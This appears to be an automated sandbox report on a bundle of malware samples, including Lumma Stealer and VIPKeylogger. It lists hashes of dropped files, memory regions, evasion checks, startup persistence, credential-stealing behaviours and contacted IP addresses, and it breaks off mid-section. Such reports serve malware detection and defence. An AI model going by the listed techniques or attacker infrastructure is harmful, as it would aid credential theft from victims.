
memory/4340-1525-0x0000000002570000-0x00000000025A6000-memory.dmp

memory/4364-1526-0x0000000006B20000-0x0000000006B74000-memory.dmp

memory/4340-1528-0x0000000005000000-0x0000000005628000-memory.dmp

memory/4340-1529-0x00000000056F0000-0x0000000005712000-memory.dmp

memory/4340-1530-0x0000000005790000-0x00000000057F6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lvqstfqt.oeo.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4340-1536-0x00000000058E0000-0x0000000005C34000-memory.dmp

memory/4340-1542-0x0000000005EB0000-0x0000000005EFC000-memory.dmp

memory/4340-1541-0x0000000005E90000-0x0000000005EAE000-memory.dmp

memory/4340-1545-0x000000006C690000-0x000000006C6DC000-memory.dmp

memory/4340-1544-0x0000000006450000-0x0000000006482000-memory.dmp

memory/4340-1555-0x0000000006430000-0x000000000644E000-memory.dmp

memory/4340-1556-0x0000000007070000-0x0000000007113000-memory.dmp

memory/4340-1557-0x0000000007800000-0x0000000007E7A000-memory.dmp

memory/4340-1558-0x00000000071B0000-0x00000000071CA000-memory.dmp

memory/4340-1559-0x0000000007220000-0x000000000722A000-memory.dmp

memory/4340-1560-0x0000000007430000-0x00000000074C6000-memory.dmp

memory/4340-1561-0x00000000073B0000-0x00000000073C1000-memory.dmp

memory/4340-1562-0x00000000073E0000-0x00000000073EE000-memory.dmp

memory/4340-1563-0x00000000073F0000-0x0000000007404000-memory.dmp

memory/4340-1565-0x00000000074F0000-0x000000000750A000-memory.dmp

memory/4340-1566-0x00000000074D0000-0x00000000074D8000-memory.dmp

memory/3080-1572-0x0000000006570000-0x0000000006732000-memory.dmp

memory/3080-1573-0x00000000063F0000-0x0000000006440000-memory.dmp

C:\Users\Admin\Desktop\a\lum250.exe

MD5 83b2ddd34dedeaf68fdb35426c383b7b
SHA1 2d11d73ccff1a20c02904504819a823eaa129fff
SHA256 bdc039a14dc690c16138ed84b2dfc550532cb60b4c2e359ce129132ebdcb286c
SHA512 b2d49d115c84bcd23ae67496fad9f222cb3a0158ea91fa25e57ddd4b8db5cb72413cf03b253bb5f4046c1dad021f0bf7a12c650f6a0d9934783a463792a45c58

memory/876-1587-0x0000000000BB0000-0x000000000104B000-memory.dmp

C:\Users\Admin\Desktop\a\Beefy.exe

MD5 8d644c8cb9c08d33b5efc8e05a8f11dd
SHA1 a49b9fd9d7f04bdac19a86b622e4e569bb1650e1
SHA256 af345887a4ce62f171ce80e9b33e15162084005c0822043cfb98d184f59564c2
SHA512 6a76a8a0d51d39d4a9d0c3fc8d3e4d9fc02447d581aa4e3764d1954aa24af2cbf1aa226501a2ceb77fb2bf17f7e782a71762bf80f4fda706e58b8eb5a928da61

C:\Users\Admin\Desktop\a\solandra.exe

MD5 9bc0a18c39ff04ff08e6dd69863a9acc
SHA1 a46754e525034a6edf4aec5ed51a39696ef27bfa
SHA256 4088eeb24af339ce1f244143886297968ffebfd431f5b3f9f9ae758f20a73142
SHA512 3ae9846cb1fe47885faaab0f0a6d471fe48bbb99ef13d5a496e96516c05999a1d05b6111230e2f9ebcb4f93c69aef29fb579ea7360d13eb9dffaffc611facda7

memory/876-1605-0x0000000000BB0000-0x000000000104B000-memory.dmp

memory/2024-1627-0x000000001BD20000-0x000000001BD2A000-memory.dmp

C:\Users\Admin\Desktop\a\mk.exe

MD5 b56761ad16c0e1cdd4765a130123dbc2
SHA1 fc50b4fd56335d85bbaaf2d6f998aad037428009
SHA256 095a2046d9a3aeeefc290dc43793f58ba6ab884a30d1743d04c9b5423234ccdd
SHA512 26c82da68d7eef66c15e8ae0663d29c81b00691580718c63cdb05097ae953cbe0e6ac35b654e883db735808640bc82141da54c8773af627a5eaea70b0acf77ed

C:\Users\Admin\Desktop\a\crypted2.exe

MD5 493ab5162b582687d104156ca1b10ba5
SHA1 ced8bc2467ec76184041447148e091f2752b0a54
SHA256 ef4a502ddf1302d71b96fdd150613d35d2722868d669c4e8f33ff715d5456ad7
SHA512 225a3e33d015aeb700ed13cb3b7f3c4f8485cac277cc3a2484c7dc4ce27733f0b17112d53e323cb4c96fecbfa2e98adf7f2e712d0dd9f482e7c985b62e464fb1

C:\Users\Admin\Desktop\a\random.exe

MD5 31c0f5f219ba81bd2cb22a2769b1cf84
SHA1 2af8ba03647e89dc89c1cd96e1f0633c3699358b
SHA256 0deda950a821dbc7181325ed1b2ffc2a970ea268f1c99d3ed1e5330f362ba37e
SHA512 210fab201716b1277e12bb4b761006fe0688b954129551ff0ad1126afab44ca8a2bc9641c440e64d5ba417d0b83927273776661dc5a57286a7ff5dc9864f3794

C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe

MD5 4f80565082ea4d95d933decf9cd50c61
SHA1 2830f9d5f41bbecd2ae105ed0b9a8d49327c8594
SHA256 d854f347061d9d7b8a9788ab8633c3f07619e29bd440924507a0147484c217c3
SHA512 9dcdae5c7a5b4181ade738884e208508bf317742ca2be0726716aa71236670a50dae2bec947b3fcc12cfc85c756810f18a9f403de4eb428b4a73a4759037f227

memory/3616-1669-0x0000000000210000-0x00000000002DA000-memory.dmp

memory/1924-1699-0x000001CE434B0000-0x000001CE434D2000-memory.dmp

memory/3616-1715-0x0000000007BB0000-0x0000000007C3E000-memory.dmp

memory/2900-1727-0x0000000005510000-0x0000000005864000-memory.dmp

memory/2900-1728-0x0000000005C60000-0x0000000005CAC000-memory.dmp

memory/2900-1730-0x00000000711F0000-0x000000007123C000-memory.dmp

memory/2900-1740-0x0000000006CE0000-0x0000000006D83000-memory.dmp

memory/2900-1741-0x0000000007020000-0x0000000007031000-memory.dmp

memory/2900-1744-0x0000000007060000-0x0000000007074000-memory.dmp

C:\Users\Admin\Desktop\a\02.08.2022.exe

MD5 e44c3aa40b9f7524877a4484a949829d
SHA1 a431cb6df265fc58a71c34b1f9edb571c2978351
SHA256 0580a91455de960968d476ed6c128eadc7e30e49f1638f2a08efed8424f2eb37
SHA512 4dbdb9628656f75788b65d69c1f4ca89a5d09dcdbaae05b5c26ea201d7bc5f74dc7e25e7f0d29ea82fb067e9912406a4674d15252805c4090dba64092980c54e

C:\Users\Admin\Desktop\a\babababa.exe

MD5 8fb77810c61e160a657298815346996e
SHA1 4268420571bb1a858bc6a9744c0742d6fd738a83
SHA256 a0840c581f8f1d606fdc43bc98bd386755433bf1fb36647ecf2165eea433ff66
SHA512 b0d0aea14bfbb5dfa17536b1669d85fc1325140f6a0176ae1c04870efa3adc902d5755f0df00d305f01120960e95bfc40c37c7519ec2827797ebaa95097cfeb2

memory/2264-1793-0x0000000140000000-0x0000000140026000-memory.dmp

memory/2264-1811-0x0000000140000000-0x0000000140026000-memory.dmp

C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe

MD5 9a994d678fb05bf73d7b61c76788f7eb
SHA1 3eb3769906efb6ff161555ebf04c78cb10d60501
SHA256 84ca892ab2410acef28721d58067fcba71f0de54ede62ef2fca9aeb845b5227f
SHA512 c7c846d6d8d2e43871c1c4471d26c6cfcee29a5b563eca69fef2f4e394767ef3e61a231626a1ff64aaf6a907d66a0cbe9db1c965128e3bab373e406ea891e6ce

memory/3608-1852-0x0000000003720000-0x000000000378D000-memory.dmp

memory/3608-1859-0x00000000755A0000-0x000000007560E000-memory.dmp

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 efc87472699854a8dc06148b239d4198
SHA1 25f942e70e419d016fa0083d933cf42b35e24ec8
SHA256 91edab2ed6515a1180519d0084e4cb615548177a7084668b5e18d8b2875ca56f
SHA512 6e2db0b1047a469b0268fae0686a18ac56b7fcb93621ca09abeb3986b30b1888c1e392201830fac28977378cdc9d562ed82e36078877594324abc0e85429c96d

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 801cdc0d114d5158fb1d7e371aa7ddd1
SHA1 d1202b38397970664307536101b952b54020ff4e
SHA256 183928865d6037ded94c86c0e1a4c1c59c8eb9e2ccae5b8fab8cb1f14d87354d
SHA512 6ca4bc01d78bf3a51069767469f1eae6d319819e7aa8a02c51823580cdf5e63b1ec88754df432eb285f034b0357beb646887f07fdf71af1fa17304e9694d8770

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 b14f1dc20713e52839142fffd56f21b7
SHA1 efe7e76e6a835b46d7034d143c4fea5bfaf90d6d
SHA256 de160943cff9979e82bc2875627e5bb2647696f30f08fef878a7d778561134e8
SHA512 f51e2492cbe0150163670777a5d0ecbe755e17b8d4d05c55db288b68e19b8a5146483aa4a9ebf4922a9897599c261cf0c5c9e896bcede78f3e8bcec2bcbef2c0

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 c88e8818dde0a85db3df98d3809fd615
SHA1 d13dd2ade4666b20b20f557e8849c5367d40b455
SHA256 78cf40f38c501bec247cae219f76cbc458ef966040fafe42940bab4d27e6869b
SHA512 5d6f855bc1a32592b68cab680b8855be51efebb8712c9e73ceaba794e39f59166ab8826f8f44ce7e1fea20a1525f93c8491a959166254796883a5b6a54482104

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 be3b7db14b732ef21e9203ddffd78d0b
SHA1 7b3e6a1841d2a5705ca044a9995ee15c50ef02fe
SHA256 8b480eaefea99f3fe184366487ed4d333b654841cbf1cde45d585c574b6da098
SHA512 49e93dabaa83a5d0c2e8aaa1280cb2c5a463dd822a302674cd2e96db0c4d76cb5a6db42154155510607e012e789af2dbc9db2a18db5586670070dace94d7f786

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 14941ef1fcbe18d1ea80f49e26c18caf
SHA1 5e4fec18d08809543b8e2789776a809749c491bb
SHA256 f10ffca4311ef8da7431d9f9ac4292818c11a73e96bcbe10774879a6480d9b17
SHA512 cd86d4a3d32e709d78445a089c8f036c0446d10774498026290a7ade432348a05ac0bdf3e3149dc43099e5f88a32ceb0d9bdb3fb128fb55fd4cbcd2ff1b83a09

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 e0669621d263678512adaa50b0b01579
SHA1 4398ab4286a92c62b016451b81abce839ccfee4b
SHA256 64a9b960bda08e19761b5b05616f3acb95a346b705f42faaf853341f51e5c227
SHA512 b2942ffe42d4219d009d799c91996ae69377eaa2c3499654475b94c5ff86eabaeb5b831d4bde53f6d73ee3b97a22a76d153bc1420d11af6cbd96ba3843ae29b2

C:\Users\Admin\AppData\Roaming\Jumping Bytes\PureSync\settings.psy

MD5 963ff03a0d68d5bdfa92135f676ff5f5
SHA1 316cb66cb2545ef1fb8441f66976a7de0e9ece86
SHA256 59d250eddd7af100ec02189b1b9a4df25cc96cd6790af497cc20d0ca2fc751ca
SHA512 686f6388da3d7356ec84119f6eb16245a62f822b5890ab9267c87346470d8c6b6ef7dd4f66cc68f3c2887215db35e3b2c8048626ca86705ef5fe658653131d8c

C:\Users\Admin\Desktop\a\tacticalagent-v2.8.0-windows-amd64.exe

MD5 ed40540e7432bacaa08a6cd6a9f63004
SHA1 9c12db9fd406067162e9a01b2c6a34a5c360ea97
SHA256 d6c7bdab07151678b713a02efe7ad5281b194b0d5b538061bdafdf2c4ca1fdaa
SHA512 07653d534a998248f897a2ed962d2ec83947c094aa7fe4fb85e40cb2771754289fe2cef29e31b5aa08e8165d5418fe1b8049dedc653e799089d5c13e02352e8d

C:\Users\Admin\Desktop\a\shttpsr_mg.exe

MD5 2dcfbac83be168372e01d4bd4ec6010c
SHA1 5f0cf3f5be05b478dec3a55b7e1757ca7c1a7fd3
SHA256 68fbb7d4c5af27b3941f4db758e2007decdd35849ab025a9e06d2ad4718b8b63
SHA512 a5acad6b7f97472367f59e85e8d61e7bbf25d6a1fc9054910780593440a2345d9ec8bb22a7f41b5b8f85eacbab9f8971dbe31c11c4c887647f86140f98e5a143

memory/1380-2096-0x0000000000400000-0x000000000047D000-memory.dmp

memory/1380-2107-0x0000000000400000-0x000000000047D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Ppwdyrrie

MD5 ab893875d697a3145af5eed5309bee26
SHA1 c90116149196cbf74ffb453ecb3b12945372ebfa
SHA256 02b1c2234680617802901a77eae606ad02e4ddb4282ccbc60061eac5b2d90bba
SHA512 6b65c0a1956ce18df2d271205f53274d2905c803d059a0801bf8331ccaa28a1d4842d3585dd9c2b01502a4be6664bde2e965b15fcfec981e85eed37c595cd6bc

C:\Users\Admin\Desktop\a\UNICO-Venta3401005.exe

MD5 2c45bece25c14a84e32561aa7186ef19
SHA1 5bf26fc439d694d66eb25dcabcea74770655d272
SHA256 d50b291f2cbd21c11648a5722030b4e8f398b1683cec9c3ffdcac7580c7604d0
SHA512 06300ede10b841a801910e5f576434bba89af26641303030dbdfb7e34817ece4373b88470a1d74b52872493401b5661f3c5d947b16d75cc7fc91f861cbf25ee9

C:\Archivos de programa\Unico - Ventas\ODBC_VEN.exe

MD5 64e7c3e96a954a42bb5f29a0af1a6b3e
SHA1 38e4194c69b5b5f8bac1818f45d23b9465b220c9
SHA256 acda53d2a8f0d67a56e49b4f93d4f95e19e6ac7e35da9ba281314c67f4ef4671
SHA512 80fd63b8279dadd805a855d222d370698e2b0ba69f6d2f28c39ac0bc8b6191da05cc51ad174112628cc4e56b2a7e59d3cafc55361b77fa4c12dde33f88a6a551

C:\Archivos de programa\Unico - Ventas\odbc.ini

MD5 ae975648280d07029fb1cc5c424a7fed
SHA1 4904248e2b2403c0e8d98ef08e4ad86549d02eb2
SHA256 5cdf5c3ac6274a8098856150572ddd3484f3c8039dc303a003e009d51c32de74
SHA512 656b867ac68f3405b0f2eae28984d2132ab34cdfa59cecb734523e675e78f3aa95b77950875f9dbf3c23c671dc42cdb720de2b811804db8e0b20544f257be44d

C:\Archivos de programa\Unico - Ventas\odbc.ini

MD5 9ccfc58e3f9b3f7c1977a23d45598691
SHA1 938f692e7610cd25e7c8fcbc3813c2e766400df7
SHA256 55b82d79e9e84a44e4c917bc8efc180a47e4d30f53bc966648cd491c0b575c6e
SHA512 682d63eece6978df000feb2e5a1c60d0e42f1cbd19f06c3aa21323b91a758f05bd2c655e9aa49d9a5427346a3c16d7a6175195fc40f15b05d2dd231ada74b003

memory/3608-2638-0x0000000003720000-0x000000000378D000-memory.dmp

memory/3608-2642-0x00000000755A0000-0x000000007560E000-memory.dmp

C:\Users\Admin\Desktop\a\Autoupdate.exe

MD5 3e6f3e2415f6dcffeefd6f5a70ced539
SHA1 a9e407a4817c38417bfceac54488c4bb0d3c769a
SHA256 4e307a9e984568d70fb2528f3242aa09bf44fae5d1a11de5a3eb865808d9218e
SHA512 5a9c47df6641c715aba8e4dc0ac4f865f9e1ea3c52dbe7176e913a254897a4192efa58a528591781b9bfcebe43a682d92b8ffdc05966fec710a82658984551ab

C:\Users\Admin\Desktop\a\SecurityHealthService.exe

MD5 73c088a54fd675be63ae50e1415bce9b
SHA1 968ca108ce1d803f69cc3e1833d6d56615342169
SHA256 e9cb28657a6dcd7e0f17f6e4f7d128351c389784bb027fdaba7f669794edc846
SHA512 109d80075631fae4a952b972073677aafdb8b6c70d7e6ac1add6d6bfb5bee9a5227c3691d229a70ac67b993f37464b89efaf87b62f6646b135311e04419f9c09

memory/816-2749-0x0000000000740000-0x00000000007B6000-memory.dmp

memory/816-2750-0x0000000004E30000-0x0000000004E72000-memory.dmp

C:\Users\Admin\Desktop\a\Geek_se.exe

MD5 61ed70e09d63d896181ba50d4b39c791
SHA1 2174dd8e257d1b7ea5112e8ae1a5428f26944370
SHA256 9edaa519b106866364ef90c8c5f0fa056a95ef7b35b2ac18e04d8a6b608fdf52
SHA512 025b1796130d604b332baf9b9896a3298b105cc12bd04ef51338164edb9701abdcc1fe97202fb2ae67b6f55f942d5e47539f845f01a28ee1775e2034de561a2e

memory/3532-2778-0x0000000000400000-0x0000000000BE3000-memory.dmp

C:\Users\Admin\Desktop\a\GOLD.exe

MD5 00a1a14bb48da6fb3d6e5b46349f1f09
SHA1 ebc052aa404ef9cfe767b98445e5b3207425afaa
SHA256 e3fdbb915d6a6737a13da5504ace5a279796247e3b24b3b049ee58013687fe35
SHA512 643f42aefd628143ec596c7ff4c6847b24a297e6996bf840d6de3f0364fca61bdb5ce322b709b2df748d189d233973a301d371d37f4e8291be8938205c49963b

memory/244-2788-0x0000000000590000-0x00000000005DE000-memory.dmp

memory/7644-8681-0x0000000000F00000-0x0000000000F4E000-memory.dmp

C:\Users\Admin\Desktop\a\OLDxTEAM.exe

MD5 51edcaec1968b2115cd3360f1536c3de
SHA1 2858bed0a5dafd25c97608b5d415c4cb94dc41c9
SHA256 2be4cdb599fbe73e1d3177599cded9c343fbd32653d0862ca52d09a416fa971d
SHA512 f5246ec7ddf5ede76bcdc1cf6ac3c5c77e04e04d97d821b115ca48a4098906f135bd8c42d3d537585a4825a323b342ed067f8ea0b1d87ac6dbfb9931e22b7fa6

C:\Users\Admin\Desktop\a\ZharkBOT.exe

MD5 13ee6ccf9ef0c86f9c287b8ed23ec8a0
SHA1 bc6203464f846debacf38b5bd35d254f2b63cd61
SHA256 118f1c6f61bcbd7daa4753a6d033518e027d864fc206a7e1866524a0391d4417
SHA512 1aa9d22ccc5e4788711777852262215024bce9dd72991feb9417421a8281f8b2769c6bb7d52f55afed54dfcc5206e71dff45385a7fc67c57226216b7b7760931

C:\Users\Admin\Desktop\a\svchot.exe

MD5 75cdc74befd8c953ee2c022bd8366633
SHA1 141be71c0beb41ad6e955c0721429bd978f2332b
SHA256 fda844b16b91a38417af25d13bd0992c3344de12ebcd0283732a3e0a6e91811d
SHA512 057f241e0215c481acb436f6d88e7cbc6eb7b509a6fb63bff993e39f0b64291fddff8867fd81a1115ac9b7ffe402cf45d4092de34435a997a4ccd3431fefdccc

memory/16548-15967-0x0000000000400000-0x0000000000585000-memory.dmp

memory/16548-15983-0x0000000000400000-0x0000000000585000-memory.dmp

memory/16600-15985-0x0000000000400000-0x0000000000585000-memory.dmp

C:\Users\Admin\Desktop\a\svcyr.exe

MD5 61fe809e805e74c4d6fc33b0e5a3305e
SHA1 3f62636e3d1de3a0346e812cb57d06cea445b789
SHA256 466682a767a27edcb28e3d2ae0ed221836db7d7dcb73fa88879c4b5944ba829d
SHA512 773b1f451617523b5481632ac3f347265230df418cbc95f687556cfc278753745a5a4f08e327088ddd25fd7ffefd6bdee06973b653e60bb0c62ab526ccb16d41

memory/16956-16021-0x0000000000400000-0x000000000041E000-memory.dmp

memory/16976-16022-0x0000000000400000-0x000000000041E000-memory.dmp

memory/16956-16024-0x0000000000400000-0x000000000041E000-memory.dmp

memory/17124-16032-0x0000000005A90000-0x0000000005DE4000-memory.dmp

memory/17124-16042-0x00000000060E0000-0x000000000612C000-memory.dmp

memory/16656-16043-0x0000000000400000-0x0000000000585000-memory.dmp

memory/17300-16045-0x0000000000BC0000-0x0000000000C36000-memory.dmp

memory/17124-16046-0x0000000070710000-0x000000007075C000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-11-16 19:52

Reported

2024-11-16 20:03

Platform

win10ltsc2021-20241023-en

Max time kernel

643s

Max time network

645s

Command Line

C:\Windows\Explorer.EXE

Signatures

Lumma Stealer, LummaC

stealer lumma

Lumma family

lumma

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1096 created 3688 N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe C:\Windows\Explorer.EXE

VIPKeylogger

stealer keylogger vipkeylogger

Vipkeylogger family

vipkeylogger

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\Desktop\a\lum250.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\Desktop\a\lum250.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\Desktop\a\lum250.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\New Text Document.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Control Panel\International\Geo\Nation C:\Users\Admin\Desktop\a\SKOblik.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe C:\Windows\system32\curl.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ueji.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\New Text Document.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\SKOblik.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\opengl32.dll40watson-sanchez4040830.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Guide2018.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\stories.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\wwbizsrvs.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\msf.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\msf443.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\client.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\op.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Pawyvstri.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\xXdquUOrM1vD3An.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\babababa.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\lum250.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\Beefy.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\solandra.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\mk.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\crypted2.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\crypted2.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\random.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\enters.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A
N/A N/A C:\Users\Admin\Desktop\a\blhbZrtqbLg6O1K.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-584106483-899802418-1877852863-1000\Software\Wine C:\Users\Admin\Desktop\a\lum250.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Programs\Advanced Sync Tools\PureSync.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-49MQI.tmp\stories.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Shine Encoder 1.4.3\shineencoder32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zS421ACCAC\GenericSetup.exe N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unexpected DNS network traffic destination

Description Indicator Process Target
Destination IP 45.155.250.90 N/A N/A
Destination IP 152.89.198.214 N/A N/A
Destination IP 45.155.250.90 N/A N/A
Destination IP 141.98.234.31 N/A N/A
Destination IP 45.155.250.90 N/A N/A
Destination IP 45.155.250.90 N/A N/A
Destination IP 91.211.247.248 N/A N/A
Destination IP 152.89.198.214 N/A N/A
Destination IP 91.211.247.248 N/A N/A
Destination IP 141.98.234.31 N/A N/A

Accesses Microsoft Outlook accounts

collection
Description Indicator Process Target
